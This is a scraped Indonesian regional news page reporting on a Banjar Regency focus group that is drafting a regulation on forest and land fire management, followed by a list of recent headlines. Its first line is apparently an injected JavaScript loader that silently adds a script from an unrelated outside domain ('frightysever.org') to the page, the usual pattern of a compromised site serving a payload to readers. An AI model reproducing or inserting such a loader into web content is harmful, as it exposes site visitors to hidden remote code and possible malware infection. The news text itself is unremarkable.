(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

FGD Penyusunan Naskah Akademik Raperda Karhutla, Ini Kata Kalak BPBD Banjar


KANALKALIMANTAN.COM, MARTAPURA – Pemkab Banjar menggelar Fokus Group Discussion (FGD) perancangan penyusunan naskah akademik dan Rancangan Peraturan Daerah (Raperda) Kabupaten Banjar tentang sistem penanggulangan kebakaran hutan dan lahan (Karhutla), Selasa (14/11/2023) siang.

Kegiatan FGD dihadiri akademisi dari Fakultas Hukum Universitas Lambung Mangkurat, TNI, Polri, Dinas Pemadam Kebakaran Penyelematan Kabupaten Banjar, dan MPA (Masyarakat Peduli Api).

Kepala Pelaksana (Kalak) BPBD Kabupaten Banjar Warsita salah satu nara sumber mengatakan, pembahasan rancangan naskah akademik merupakan tahapan dari kajian teknis dalam rangka penyusunan draf Raperda penanggulangan Karhutla di Kabupaten Banjar.

Baca juga: Aplikasi Sitarung Manis Optimalkan Kinerja Dinas PUPRP Banjar

“Dari FGD ini akan lebih banyak masukan dari para stakeholder, sehingga naskah Raperda yang disusun kerjasama BPBD Banjar dan Fakultas Hukum Universitas Lambung Mangkurat menjadi lebih sempurna, sesuai dengan yang dikehendaki berdasar hukum dan bisa lebih mengakomodir masyarakat,” katanya.

Selain BPBD Kabupaten Banjar, nara sumber lain dalam penyusunan naskah akademik Raperda Karhutla juga melibatkan Fakultas Kehutanan Universitas Lambung Mangkurat, dan Bagian Organisasi Setda Banjar.

Baca juga: Parkir Bandara Syamsudin Noor Pakai e-Money, Ini Daftar Kartu dan Cara Dapatkannya

Masrudi Muchtar, anggota tim tenaga ahli mengatakan, adanya peraturan daerah tentang sistem penanggulangan kebakaran hutan dan lahan sangat mendesak untuk dibuat.

“Pertama untuk menjamin terselenggaranya sistem penanggulangan kebakaran hutan dan lahan secara terencana, terpadu, terkoordinasi dan menyeluruh,” ujar Masrudi Muchtar.

Baca juga: Hari Diabetes Sedunia 2023: Ini Bedanya dengan Hipertensi dan Asam Urat

Kedua, memberikan perlindungan masyarakat dari dampak kebakaran hutan dan lahan. Ketiga, menjaga kelestarian lingkungan hidup. “Keempat mendorong peran serta masyarakat dalam usaha penanggulangan kebakaran hutan dan lahan,” pungkasnya. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

2 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

3 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

17 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

19 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

22 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

22 jam ago

This website uses cookies.